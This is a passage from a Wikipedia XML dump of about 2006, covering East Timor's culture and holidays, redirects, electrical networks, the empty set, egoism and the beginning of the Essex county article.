The culture of East Timor reflects numerous cultural influences, including [[Portugal|Portuguese]], [[Roman Catholic]] and [[Malay people|Malay]], on the indigenous [[Austronesian]] cultures of Timor. Legend has it that a giant crocodile was transformed into the island of Timor, or ''Crocodile Island'', as it is often called. Like [[Indonesia]], the culture of East Timor has been heavily influenced by Austronesian legends, although the Catholic influence is also strong. This catholicism strengthened in response to the Indonesian domination, which forced the population to adopt a religion as a counter-communism policy.

Illiteracy is still widespread, but there is a strong tradition of poetry. President [[Xanana Gusmão]] is, for example, a distinguished poet. As for architecture, some Portuguese-style buildings can be found, although the traditional totem houses of the eastern region, known as ''uma lulik'', also survive. Craftmanship is also widespread, as is the weaving of traditional scarves or ''tais''.

{{Seealso|Music of East Timor}}

==Public Holidays==
East Timor now has [[public holiday]]s that commemorate historic events in the liberation struggle, as well as those associated with the [[Roman Catholic|Catholic]] faith. 

{|class=&quot;wikitable&quot;
|- 
! Date !! Name !! Observations
|-
| [[1 January]] || [[New Year's Day]]|| 
|-
| March/April ||  [[Good Friday]]|| 
|-
| March/April || [[Easter Sunday]] || 
|-
| [[May 20]] || [[Independence Day]] || 2002
|-
| [[August 15]] || [[Assumption]]|| 
|-
| [[August 30]] || Consultation Day || Anniversary of the Popular Consultation in 1999
|-
| [[September 20]] || Liberation Day || by [[INTERFET]] in 1999 
|-
| [[November 1]] || [[All Saints' Day]]|| 
|-
| [[November 12]] || Santa Cruz Day || Anniversary of the [[Dili Massacre|Santa Cruz massacre]] in 1991
|-
| [[December 8]] || [[Immaculate Conception]] || 
|-
| [[December 25]] || [[Christmas]] || .
|}

== Miscellaneous topics ==
* [[Communications in East Timor]]
* [[Foreign relations of East Timor]]
* [[List of Cities in East Timor]]
* [[List of East Timor-related topics]]
* [[List of East Timorese people]]
* [[Military of East Timor]]
* [[Sports in East Timor]]
* [[Transportation in East Timor]]
* [http://commons.wikimedia.org/wiki/Category:Mai_ita_aprende_portug%C3%A9s_ho_Em%C3%ADlia Pictures about language issues]

==See also==
*[[Great Timor]]
*[[West Timor]]

== Trivia ==
Recently, the [[Colombian]] [[pop star]] [[Shakira]] recorded a [[protest song]] entitled &quot;[[Timor (song)|Timor]]&quot;. The song, written and composed by the singer, tells about how the Western media gave importance to the East Timor Independence case a few years ago, and how the same media does nothing for the country on recent days.

== External links ==
{{sisterlinks|East Timor}}
* [http://www.laohamutuk.org/ East Timor Institute for Reconstruction Monitoring and Analysis (La'o Hamutuk)]
* [http://www.abc.net.au/worldtoday/content/2004/s1112211.htm ABC Online article on negotiations with Australia about border]
* [http://www.atimes.com/atimes/Southeast_Asia/EE21Ae06.html Asia Times article on the Timor Gap dispute]
* [http://www.cia.gov/cia/publications/factbook/geos/tt.html CIA World Factbook on East Timor]
* [http://www.etan.org/resource/websites.htm ETAN Links] - Extensive links on East Timor
* [http://www.timor-leste.gov.tl/ Governo Timor Leste] - Official governmental site
* [http://bairopiteclinic.tripod.com Bairo Pite Clinic website] - Information on Health in East Timor
* [http://depts.washington.edu/haiuw/html/programs/timor-leste/index.htm Health Alliance International website] - More information on health projects in East Timor by [[Health Alliance International| HAI]]
* [http://www.semanario.tp/ Jornal Nacional - Semanário] (Portuguese)
* [http://www.gov.tp Links to Timor Leste government sites]
* [http://www.mfac.gov.tp Ministry of Foreign Affairs and Cooperation] 
* [http://www.suaratimorlorosae.com/ Suara Timor Lorosae] - (Tetum and Indonesian)
* [http://www.turismotimorleste.com Tourism Timor-Leste] - Official tourism website (English and Portuguese)
* [http://edition.cnn.com/2006/WORLD/asiapcf/01/21/easttimor.indonesia.reut/index.html Report] from [[CNN]] - [[January 21]], [[2006]]
* [http://home.vicnet.net.au/~fobaucau/ Friends of Baucau]
* [http://www.portphillip.vic.gov.au/suai.html Friends of Suai]
* [http://friendsofsame.org/ Friends of Same]
* [http://untl.labor.net.au/ Friends of the UNTL Library]
'''East Timor Blogs'''
* [http://timorsunshine.blogspot.com/ Tumbleweed in Timor Lorosae]
* [http://commons.princeton.edu/blogs/pia/personal/storbert/ Malae Bulak (Crazy Foreigner)]
* [http://pantsonfire.blogs.friendster.com/tc_the_liars_pants_on_fir/ Peace Corp Volunteer]
* [http://samanddaniel.blogspot.com/ Dili-Dallying]
* [http://forum-haksesuk.blogspot.com/ Forum Haksesuk (Discussion Forum)] (Tetum)
* [http://www.buzzindili.blogspot.com/ Timor Tales]
* [http://lorosae.blogspot.com/ Blog de Timor] (Portuguese)
* [http://www.livejournal.com/users/oandaeasttimor/ Australian Volunteers in Timor]

{{Southeast_Asia}}
{{Oceania}}

[[Category:East Timor| ]]
[[Category:Island nations]]
[[Category:Former Portuguese colonies]]
[[Category:Oceanian countries]]
[[Category:Southeast Asian countries]]
[[Category:CPLP member states]]

[[ar:تيمور الشرقية]]
[[an:Timor Oriental]]
[[bg:Източен Тимор]]
[[zh-min-nan:Tang Timor]]
[[bs:Istočni Timor]]
[[ca:Timor Oriental]]
[[cs:Východní Timor]]
[[cy:Dwyrain Timor]]
[[da:Østtimor]]
[[de:Osttimor]]
[[et:Ida-Timor]]
[[es:Timor Oriental]]
[[eo:Orienta Timoro]]
[[fr:Timor oriental]]
[[fy:East Timor]]
[[gl:Timor Leste - Timor Lorosa'e]]
[[ko:동티모르]]
[[hr:Istočni Timor]]
[[io:Timor Leste]]
[[ilo:Daya a Timor]]
[[id:Timor Timur]]
[[ia:Timor Oriental]]
[[is:Austur-Tímor]]
[[it:Timor Est]]
[[he:מזרח טימור]]
[[lv:Austrumtimora]]
[[lt:Rytų Timoras]]
[[li:Oos-Timor]]
[[hu:Kelet-Timor]]
[[ms:Timor Timur]]
[[nl:Oost-Timor]]
[[nds:Oosttimor]]
[[ja:東ティモール]]
[[no:Øst-Timor]]
[[nn:Aust-Timor]]
[[pl:Timor Wschodni]]
[[pt:Timor-Leste]]
[[ro:Timorul de Est]]
[[ru:Восточный Тимор]]
[[sq:Timori Lindor]]
[[simple:East Timor]]
[[sk:Východný Timor]]
[[sl:Vzhodni Timor]]
[[sr:Источни Тимор]]
[[fi:Itä-Timor]]
[[sv:Östtimor]]
[[tl:Silangang Timor]]
[[th:ประเทศติมอร์ตะวันออก]]
[[uk:Східний Тимор]]
[[zh:东帝汶]]</text>
    </revision>
  </page>
  <page>
    <title>Encyclopaedia</title>
    <id>9558</id>
    <revision>
      <id>15907436</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Encyclopedia]]
</text>
    </revision>
  </page>
  <page>
    <title>Electrical network</title>
    <id>9559</id>
    <revision>
      <id>40438615</id>
      <timestamp>2006-02-20T15:30:37Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Amplification]] to [[Amplifier]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">An '''electrical network''' is an interconnection of [[electrical element]]s such as [[resistor]]s, [[inductor]]s, [[capacitor]]s, [[diode]]s, [[switch]]es and [[transistor]]s.  It can be as small as an [[integrated circuit]] on a silicon chip, or as large as an [[electricity distribution]] or [[telecommunication|transmission network]].

An '''electrical circuit''' is a network that has a closed loop, giving a return path for the current. A network is a connection of two or more simple circuit elements, and may not necessarily be a circuit.

== Design aims ==
The goal when designing electrical networks for signal processing is to apply a predefined operation on [[potential difference]]s (measured in [[volt]]s) or [[current (electricity)|current]]s (measured in [[ampere]]s).  Typical functions for these electrical networks are [[Amplifier|amplification]], [[oscillator|oscillation]] and analog linear algorithmic operations such as [[addition]], [[subtraction]], [[multiplication]], [[division (mathematics)|division]], [[derivative|differentiation]] and [[integral|integration]].

In the case of power distribution networks, engineers design the circuit to transport the energy as efficiently as possible, while at the same time taking into account economic factors, network safety and redundancy.  These networks use components such as [[power line]]s, cables, [[circuit breaker]]s, switches and [[transformer]]s.

== Design methods ==
To design any electrical [[Digital circuit|circuit]]s, [[electrical engineering|electrical engineers]] need to be able to predict the voltages and currents in the circuit.  Linear circuits can be analysed to a certain extent by hand because [[complex number]] theory gives engineers the ability to treat all [[linear element]]s using a single mathematical representation. 

Many engineers utilize special software to design and simulate circuits before building them.  This method increases both time and cost efficiency since it does not require the engineer to build every circuit prototype in order to test it.  The development of technologies such as VHDL have also eased the burden from engineers by simulating and automatically generating circuit designs.

=== Electrical laws ===
A number of electrical laws apply to all electrical networks.  These include
*[[Kirchhoff's circuit laws#Kirchhoff's current law|Kirchhoff's current law]]: the sum of all currents entering a node is equal to the sum of all currents leaving the node.
*[[Kirchhoff's circuit laws#Kirchhoff's voltage law|Kirchhoff's voltage law]]: the directed sum of the electrical potential differences around a circuit must be zero.
*[[Ohm's law]]: the voltage across a resistor is the product of its resistance and the current flowing through it.
* the [[Y-delta transform]]
*[[Norton's theorem]]: any two-terminal collection of voltage sources and resistors is electrically equivalent to an ideal current source in parallel with a single resistor.
*[[Thevenin's theorem]]: any two-terminal combination of voltage sources and resistors is electrically equivalent to a single voltage source in series with a single resistor.
*[[Millman's Theorem|Millman's method]]: the voltage on the ends of branches in parallel is equal to the sum of the currents flowing in every branch divided by the total equivalent conductance.

* See also [[Analysis of resistive circuits]].
 
Other more complex laws may be needed if the network contains nonlinear or [[reactance|reactive]] components.  Non-linear self-regenerative hetrodyning systems can be approximated. Applying these laws results in a set of [[simultaneous equations]] that can be solved either by hand or by a computer.

=== Network simulation software ===
In more complex circuits, engineers need to turn to circuit simulation software. [[SPICE]] and [[EMTP]] are the most famous of these.

==== Linearization around operating point ====
When faced with a new circuit, the software first tries to find a steady state solution.  This is a solution where all nodes conform to Kirchhoff's Current Law ''and'' the voltages across and through each element of the circuit conform to the voltage/current equations governing that element.

Once the steady state solution is found, the operating points of each element in the circuit are known.  For a small signal analysis, every non-linear element can be linearized around its operation point to obtain the small-signal estimate of the voltages and currents.  This is an application of Ohm's Law.  The resulting linear circuit matrix can be solved with [[Gauss-Jordan elimination]].

==== Piece-wise linear approximation ====
This type of simulator uses piece-wise linear approximations of the equations governing the elements of a circuit.  This approximation comes down to splitting the circuit into two parts: a completely linear network with a number of terminals that connect to ideal [[diode]]s.  Every time a diode switches from on to off or vice versa, the linear network is configured differently.  Increasing the accuracy of the simulation can be achieved by adding more detail to the approximation of equations, this will increase the running time of the simulation.  This flexibility allows an engineer to make a trade-off between simulation time and the precision of the results, something that is not easily done with the previous simulation technique.

An example for a software using this technique is the [[Simulink]] toolbox [[PLECS]].

== See also ==
* [[Analysis of resistive circuits]]
* [[Alternating current]]
* [[Balancing network]]
* [[Digital circuit]]
* [[Diode bridge]]
* [[Direct current]]
* [[Quiescent current]]
* [[Ground (electricity)]]
* [[Impedance]]
* [[Load]]
* [[Mathematical methods in electronics]]
* [[Netlist]]
* [[Network analyzer (electrical)]]
* [[RC circuit]]
* [[RLC circuit]]
* [[Potential divider]]
* [[Schematic]]
* [[Series and parallel circuits]]
* [[SPICE]]
* [[Tesla coil]]
* [[Continuity test]]
* [[Magnetic circuit]]
* [[Voltage drop]]

== External articles==
; Main
* &quot;''[http://www.allaboutcircuits.com All About Electric Circuits]''&quot; (2003) : online textbooks covering electricity and electronics. 
* ''[http://www.freeinfosociety.com/electronics/schemcat.php Electronic Circuits Archive]'' : large collection of circuits
* ''[http://www.discovercircuits.com/ Discover Circuits]'' : resource for engineers, hobbyists, inventors &amp; consultants.
;Simulator 
* ''[http://www.falstad.com/circuit/ Circuit simulator applet]'': voltage and current visualization ([[Java programming language|Java]])

[[Category:Electronics]]
[[Category:Electrical engineering]]

[[cs:Elektrický obvod]]
[[da:Elektronisk kredsløb]]
[[de:Elektrische Schaltung]]
[[eo:Elektra cirkvito]]
[[fr:Circuit électrique]]
[[he:מעגל חשמלי]]
[[it:Circuito elettrico]]
[[lt:Elektrinė grandinė]]
[[nl:Elektrisch netwerk]]
[[ja:電気回路]]
[[pl:Obwód elektryczny]]
[[pt:Circuito elétrico]]
[[ru:Электрическая цепь]]
[[sl:Električni krog]]
[[fi:Virtapiiri]]
[[sv:Elektrisk krets]]
[[vi:Mạch điện]]
[[zh:电路]]</text>
    </revision>
  </page>
  <page>
    <title>Euler</title>
    <id>9561</id>
    <revision>
      <id>15907438</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Leonhard Euler]]
</text>
    </revision>
  </page>
  <page>
    <title>Empty set</title>
    <id>9566</id>
    <revision>
      <id>41683397</id>
      <timestamp>2006-03-01T01:11:34Z</timestamp>
      <contributor>
        <username>Pengo</username>
        <id>35807</id>
      </contributor>
      <comment>/* Notation */ unicode and TeX</comment>
      <text xml:space="preserve">In [[mathematics]] and more specifically [[set theory]], the '''empty set''' is the unique [[set]] which contains no elements. In [[axiomatic set theory]] it is postulated to exist by the [[axiom of empty set]] and all finite sets are constructed from it. The empty set is also sometimes called the '''null set''', but because [[null set]] means something else in [[measure theory]], that term is generally avoided in current work.

Various possible properties of sets are [[Trivial (mathematics)|trivially]] true for the empty set.

== Notation ==
The standard notation for denoting the empty set is the symbol &lt;math&gt;\varnothing&lt;/math&gt; or ∅, introduced by the [[Bourbaki group]] (specifically [[André Weil]]) in 1939. [http://members.aol.com/jeff570/set.html] This should not be confused with the Scandinavian vowel [[Ø|&amp;Oslash;&amp;oslash;]] and the [[Greek alphabet|Greek letter]] [[phi|&amp;Phi;]]. Another common notation for the empty set is {}.

For comparison, see the three signs together: ∅ Øø Φ – the empty set sign is based on a geometric [[circle]], whereas the Scandinavian letter is like an oval letter '[[O]]'.

The empty set &quot;∅&quot; has the unicode code point U+2205. Common [[TeX]] packages offer &lt;tt&gt;\emptyset&lt;/tt&gt; and &lt;tt&gt;\varnothing&lt;/tt&gt;, which respectively appear as:
: &lt;math&gt;\emptyset, \varnothing&lt;/math&gt;

== Properties ==

(Here we use [[table of mathematical symbols|mathematical symbol]]s.)

* [[For any]] set ''A'', the empty set is a [[subset]] of ''A'':
*: &amp;forall;''A'': &lt;math&gt;\varnothing&lt;/math&gt; &amp;sube; ''A''
* For any set ''A'', the [[union (set theory)|union]] of ''A'' with the empty set is ''A'':
*: &amp;forall;''A'': ''A'' &amp;cup; &lt;math&gt;\varnothing&lt;/math&gt; = ''A''
* For any set ''A'', the [[intersection (set theory)|intersection]] of ''A'' with the empty set is the empty set:
*: &amp;forall;''A'': ''A'' &amp;cap; &lt;math&gt;\varnothing&lt;/math&gt; = &lt;math&gt;\varnothing&lt;/math&gt;
* For any set ''A'', the [[Cartesian product]] of ''A'' and the empty set is empty:
*: &amp;forall;''A'': ''A'' &amp;times; &lt;math&gt;\varnothing&lt;/math&gt; = &lt;math&gt;\varnothing&lt;/math&gt;
* The only subset of the empty set is the empty set itself:
*: &amp;forall;''A'': ''A'' &amp;sube; &lt;math&gt;\varnothing&lt;/math&gt; &amp;rArr; ''A'' = &lt;math&gt;\varnothing&lt;/math&gt;
* The number of elements of the empty set (that is its [[cardinality]]) is [[0 (number)|zero]]; in particular, the empty set is [[finite]]:
*: |&lt;math&gt;\varnothing&lt;/math&gt;| = 0
*For any property:
** for every element of &lt;math&gt;\varnothing&lt;/math&gt; the property holds ([[vacuous truth]])
** there is no element of &lt;math&gt;\varnothing&lt;/math&gt; for which the property holds
*Conversely: if, for some property, the following two statements hold:
** for every element of V the property holds
** there is no element of V for which the property holds
:then V = &lt;math&gt;\varnothing&lt;/math&gt;

Mathematicians speak of &quot;the empty set&quot; rather than &quot;an empty set&quot;.  In [[set theory]], two sets are equal if they have the same elements; therefore there can be only one set with no elements.

Considered as a subset of the [[real number line]] (or more generally any [[topological space]]), the empty set is both [[closed set|closed]] and [[open set|open]].  All its [[boundary (topology)|boundary points]] (of which there are none) are in the empty set, and the set is therefore closed; while all its [[interior (topology)|interior points]] (of which there are again none) are in the empty set, and the set is therefore open. Moreover, the empty set is a [[compact set]] by the fact that every [[finite set]] is compact.

The [[closure (mathematics)|closure]] of the empty set is empty. This is known as &quot;preservation of [[nullary]] [[union (set theory)|unions]].&quot;

== Common problems ==

The empty set is not the same thing as ''nothing''; it is a set with nothing ''inside'' it, and a set is ''something''. This often causes difficulty among those who first encounter it. It may be helpful to think of a set as a bag containing its elements; an empty bag may be empty, but the bag itself certainly exists.

Some people balk at the first property listed above, that the empty set is a subset of any set ''A''. By the definition of [[subset]], this claim means that for ''every'' element ''x'' of {}, ''x'' belongs to ''A''. If it is not true that every element of {} is in ''A'', there must be at least one element of {} that is not present in ''A''. Since there are ''no'' elements of {} at all, there is no element of {} that is not in ''A'', leading us to conclude that every element of {} is in A and that {} is a subset of ''A''. Any statement that begins &quot;for every element of {}&quot; is not making any substantive claim; it is a [[vacuous truth]]. This is often paraphrased as &quot;everything is true of the elements of the empty set.&quot;

== Axiomatic set theory ==

In the [[axiomatic set theory|axiomatization of set theory]] known as [[Zermelo-Fraenkel set theory]], the existence of the empty set is assured by the [[axiom of empty set]]. The uniqueness of the empty set follows from the [[axiom of extensionality]].

Any axiom that states the existence of any set will imply the axiom of empty set, using the [[axiom schema of separation]]. For example, if ''A'' is a set then the axiom schema of separation allows the construction of the set ''B'' =  {''x'' in ''A'' | ''x'' &amp;ne; ''x''}, which can be defined to be the empty set.

== Does it exist or is it necessary? ==

While the empty set is a standard and universally accepted concept in mathematics, there are those who still entertain doubts.

[[Jonathan Lowe]] has argued that while the idea &quot;was undoubtedly an important landmark in the history of mathematics, &amp;hellip; we should not assume that its utility in calculation is dependent upon its actually denoting some object.&quot;  It is not clear that such an idea makes sense.  &quot;All that we are ever informed about the empty set is that it
(1) is a set, (2) has no members, and (3) is unique amongst sets in having no members. However, there are very many things that 'have no members', in the set-theoretical sense&amp;mdash;namely, all non-sets. It is perfectly clear why these things have no members, for they are not sets. What is unclear is how there can be, uniquely amongst sets, a ''set'' which has no members. We cannot conjure such an entity into existence by mere stipulation.&quot;

In &quot;To be is to be the value of a variable&amp;hellip;&quot;, [[Philosophy Journals|Journal of Philosophy]], 1984 (reprinted in his book ''Logic, Logic and Logic''), the late [[George Boolos]] has argued that we can go a long way just by [[plural quantification|quantifying plurally]] over individuals, without [[reification|reifying]] sets as singular entities having other entities as members.  

In a recent book [http://philosophy.syr.edu Tom McKay] has disparaged the &quot;singularist&quot; assumption that natural expressions using plurals can be analysed using plural surrogates, such as signs for sets.  He argues for an anti-singularist theory which differs from set theory in that there is no analogue of the empty set, and there is just one relation, ''among'', that is an analogue of both the membership and the subset relation.

== Operations on the empty set ==

Operations performed on the empty set (as a set of things to be operated upon) can also be confusing. (Such operations are ''[[nullary]] operations''.) For example, the [[sum]] of the elements of the empty set is [[0 (number)|zero]], but the [[multiplication|product]] of the elements of the empty set is [[1 (number)|one]] (see [[empty product]]). This may seem odd, since there are no elements of the empty set, so how could it matter whether they are added or multiplied (since &amp;ldquo;they&amp;rdquo; do not exist)? Ultimately, the results of these operations say more about the operation in question than about the empty set. For instance, notice that zero is the [[identity element]] for addition, and one is the identity element for multiplication.

== Bounds ==

Since the empty set has no members, when it is considered as a subset of any [[ordered set]], then any member of that set will be an upper bound and lower bound for the empty set. For example, when considered as a subset of the real numbers, with its usual ordering, represented by the [[real number line]], every real number is both an upper and lower bound for the empty set. When considered as a subset of the [[extended reals]] formed by adding two &quot;numbers&quot; or &quot;points&quot; to the real numbers, namely &quot;negative infinity&quot;, denoted &lt;math&gt;-\infty\!\,,&lt;/math&gt; which is defined to be less than every other extended real number, and &quot;positive infinity&quot;, denoted &lt;math&gt;+\infty\!\,,&lt;/math&gt; which is defined to be greater than every other extended real number, then: 

:&lt;math&gt;\sup\varnothing=\min(\{-\infty, +\infty \} \cup \mathbb{R})=-\infty,&lt;/math&gt;

and
:&lt;math&gt;\inf\varnothing=\max(\{-\infty, +\infty \} \cup \mathbb{R})=+\infty.&lt;/math&gt;

That is, the least upper bound (sup or [[supremum]]) of the empty set is negative infinity, while the greatest lower bound (inf or [[infimum]]) is positive infinity.

== The empty set and zero ==

It was mentioned earlier that the empty set has [[0 (number)|zero]] elements, or that its cardinality is zero. The connection between the two concepts goes further however: in the standard [[set-theoretic definition of natural numbers]], zero is ''defined'' as the empty set.

== Category theory ==

If ''A'' is a set, then there exists precisely one [[function (mathematics)|function]] ''f'' from {} to ''A'', the [[empty function]].
As a result, the empty set is the unique [[initial object]] of the [[category theory|category]] of sets and functions.

The empty set can be turned into a [[topological space]] in just one way (by defining the empty set to be open); this empty topological space is the unique initial object in the category of topological spaces with [[continuous function (topology)|continuous]] maps.

[[Category:Set theory]]

[[cs:Prázdná množina]]
[[da:Tomme mængde]]
[[de:Leere Menge]]
[[et:Tühi hulk]]
[[es:Conjunto vacío]]
[[fr:Ensemble vide]]
[[ko:공집합]]
[[it:Insieme vuoto]]
[[he:הקבוצה הריקה]]
[[hu:Üres halmaz]]
[[nl:Lege verzameling]]
[[ja:空集合]]
[[pl:Zbiór pusty]]
[[ru:Пустое множество]]
[[sl:Prazna množica]]
[[fi:Tyhjä joukko]]
[[sv:Tomma mängden]]
[[uk:Порожня множина]]
[[zh:空集]]</text>
    </revision>
  </page>
  <page>
    <title>Egoism</title>
    <id>9567</id>
    <revision>
      <id>37729590</id>
      <timestamp>2006-02-01T21:04:38Z</timestamp>
      <contributor>
        <username>Jfdwolff</username>
        <id>46555</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Brentonpatterson|Brentonpatterson]] ([[User talk:Brentonpatterson|talk]]) to last version by Audriusa</comment>
      <text xml:space="preserve">'''Egoism''' may refer to any of the following:

* [[psychological egoism]] - the doctrine that holds that individuals are always motivated by self-interest.
* [[ethical egoism]] - the ethical doctrine that holds that individuals ''ought'' to do what is in their self-interest.
* [[rational egoism]] - the belief that it is rational to act in one's self-interest.
* [[solipsism]] - (sometimes called egoism) - the belief that only one's self exists, or that only the experiences of one's self can be verified.
* [[egotism]] - an excessive or exaggerated sense of self-importance. In extreme forms, egoism (as egotism) may include [[narcissism]] and [[Antisocial personality disorder|antisocial behavior]].

{{disambig}}

== See also ==
'''Egoism''' may also imply or may be fundamental to any number of related concepts, such as:

* [[Amorality]] - lack of adherence to a meaningful moral system.
* [[Antisocial personality disorder]] - the psychiatric disease which involves disregard for the consequences of behavior on others.
* [[Autism]] - the neurodevelopmental disorder which restricts an individual's ability to interact with others normally.
* [[Bigotry]] - intransigent intolerance of opinions which differ from one's own.
* [[Individualism]] - a focus on the individual as opposed to society.
* [[Individualist anarchism]] - anarchism that exalts the supremacy of the individual.
* [[Libertarianism]] - a political ideology that advocates individual liberty and private property.
* [[Machiavellianism]] - a tendency to deceive and manipulate others for personal gain.
* [[Narcissistic Personality Disorder]] - self-love as psychological illness.
* [[Objectivist philosophy|Objectivism]] - a philosophical system that advocates egoism.
* [[Suitheism]] - worship of one's own self as Deity.

[[Category:Core issues in ethics]]
[[Category:Philosophical terminology]]
[[da:Egoisme]]
[[de:Egoismus]]
[[fi:Egoismi]]
[[fr:Égoïsme]]
[[ja:&amp;#21033;&amp;#24049;&amp;#20027;&amp;#32681;]]
[[pl:Egoizm]]
[[sv:Egoism]]
[[ru:Эгоизм]]
[[lt:Egoizmas]]</text>
    </revision>
  </page>
  <page>
    <title>Essex</title>
    <id>9568</id>
    <revision>
      <id>39767268</id>
      <timestamp>2006-02-15T19:13:50Z</timestamp>
      <contributor>
        <ip>82.3.93.70</ip>
      </contributor>
      <comment>/* Transport, commerce and industry */</comment>
      <text xml:space="preserve">:''This article is about the county of '''Essex''' in England. For other places named Essex, see [[Essex (disambiguation)]].''
{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; margin: 0 0 1em 1em&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;300&quot;
|+ &lt;big&gt;'''Essex'''&lt;/big&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot;|[[Image:EnglandEssex.png]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Geography
|-
! width=&quot;45%&quot; | Status
|[[Ceremonial counties of England|Ceremonial]] &amp; (smaller) [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county
|-
!Region
|[[East of England]]
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. area
|[[List of ceremonial counties of England by area|Ranked 11th]]&lt;br /&gt;[[1 E9 m²|3,670]] [[square kilometre|km&amp;sup2;]]&lt;br /&gt;[[List of non-metropolitan counties of England by area|Ranked 11th]]&lt;br /&gt;3,465 km&amp;sup2;
|-
!Admin HQ
|[[Chelmsford]]
|-
![[ISO 3166-2:GB|ISO 3166-2]]
|GB-ESS
|-
![[ONS coding system|ONS code]]
|22
|-
![[Nomenclature of Territorial Units for Statistics|NUTS]] 3
|UKH33
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop.
|[[List of ceremonial counties of England by population|Ranked 6th]]&lt;br /&gt;1,635,600&lt;br /&gt;445 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 2nd]]&lt;br /&gt;1,330,300
|-
!Ethnicity
|96.8% White&lt;br /&gt;1.2% S. Asian
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Politics
|-
|colspan=2 align=center|[[Image:arms-essex.jpg|200px|Arms of Essex County Council]]&lt;br /&gt;Essex County Council&lt;br /&gt;http://www.essexcc.gov.uk/
|-
!Executive
|[[Conservative Party (UK)|Conservative]]
|-
![[MPs elected in the UK general election, 2005|Members of Parliament]]
|
*[[David Amess]]
*[[John Baron]]
*[[Simon Burns]]
*[[Douglas Carswell]]
*[[James Duddridge]]
*[[Mark Francois]]
*[[Alan Haselhurst]]
*[[Bernard Jenkin]]
*[[Eleanor Laing]]
*[[Andrew Mackinlay]]
*[[Brooks Newmark]]
*[[Eric Pickles]]
*[[Bill Rammell]]
*[[Bob Russell]]
*[[Angela Smith]]
*[[Bob Spink]]
*[[John Whittingdale]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Districts
|-
|colspan=2|&lt;center&gt;[[Image:Essex_Ceremonial_Numbered.png]]&lt;/center&gt;
#[[Harlow]]
#[[Epping Forest (district)|Epping Forest]]
#[[Brentwood (borough)|Brentwood]]
#[[Basildon (district)|Basildon]]
#[[Castle Point]]
#[[Rochford (district)|Rochford]]
#[[Maldon (district)|Maldon]]
#[[Chelmsford (borough)|Chelmsford]]
#[[Uttlesford]]
#[[Braintree (district)|Braintree]]
#[[Colchester (borough)|Colchester]]
#[[Tendring]]
#[[Thurrock]] (Unitary)
#[[Southend-on-Sea]] (Unitary)
|}
'''Essex''' is a [[Counties of England|county]] in the [[East of England]]. It borders [[Greater London]] to the south west, [[Hertfordshire]] by the [[Stort Navigation|River Stort]] to the west, [[Cambridgeshire]] and [[Suffolk]] by the [[River Stour, Suffolk|River Stour]] to the north and [[Kent]] by the [[River Thames]] to the south.

The [[county town]] is [[Chelmsford]] and the highest point of the county is Chrishall Common near the village of [[Langley, Essex|Langley]] near the Hertfordshire border, which reaches 147m/482ft.


==History==
{{main|History of Essex}}

The name '''Essex''' derives from the [[Kingdom of Essex]] or ''Kingdom of the East Seaxe'' which was founded around [[500]] AD, occupying territory to the north of the [[River Thames]], incorporating much of what would later become [[Middlesex]] and [[Hertfordshire]], though its territory was later restricted to lands east of the [[River Lee]]. 

The boundaries of the [[ceremonial county]] cover a larger area than the present [[shire county]], including the [[Unitary Authority|unitary authorities]] of [[Thurrock]] and [[Southend-on-Sea]]; the historic county boundaries additionally include parts of [[East London, England|East London]].

==Population and settlement==
Because of its proximity to [[London]] and the economic magnetism which that city exerts, many of Essex's settlements function as [[dormitory town]]s or villages where London workers raise their families. Essex is known for being the origin of the political term [[Essex man]], and of the [[Essex girl]] joke.  Essex has recently overtaken Lancashire as England's most populous county.

The pattern of settlement in the county is diverse. The [[Green Belt (UK)|London Green Belt]] has effectively prevented of the further sprawl of the metropolis into the County, although it contains the [[new town]]s of [[Basildon]] and [[Harlow]], originally developed to resettle Londoners following the destruction of London housing in [[World War II]] but since much expanded. Part of the south east of the county, already containing the major population centres of [[Southend-on-Sea|Southend]] and [[Thurrock]], is within the [[Thames Gateway]] and designated for further development. To the north of the Green Belt, with the exception of major towns such as [[Chelmsford]], the county is rural, with many small towns, villages and hamlets largely built in the traditional materials of timber and brick, with clay tile or thatched roofs. [[Colchester]] in the north east of the county is Britain's oldest recorded town, dating back to Roman times, and has a rich history.  A book has been recently published called '350 miles: An Essex Journey' by photographer Jason Orton and writer Ken Worpole, detailing a journey by foot and bicycle along the full length of the distinctive Essex coastline (ExDRA 2005).  

In [[1998]] the districts of [[Southend-on-Sea]] (pop. 160,300) and [[Thurrock]] (pop. 143,000) separated from the county of Essex becoming [[unitary authority area]]s.

==Transport, commerce and industry==
The [[Lakeside Shopping Centre]] at [[Thurrock]] was one of England's first out-of-town shopping centres; it remains popular despite congestion on the nearby [[M25 motorway]] and direct competition from [[Bluewater Shopping Centre]].

Essex also contains [[London Stansted Airport|Stansted Airport]] and several smaller aerodromes that have evolved from bomber or fighter bases constructed during [[World War II]].

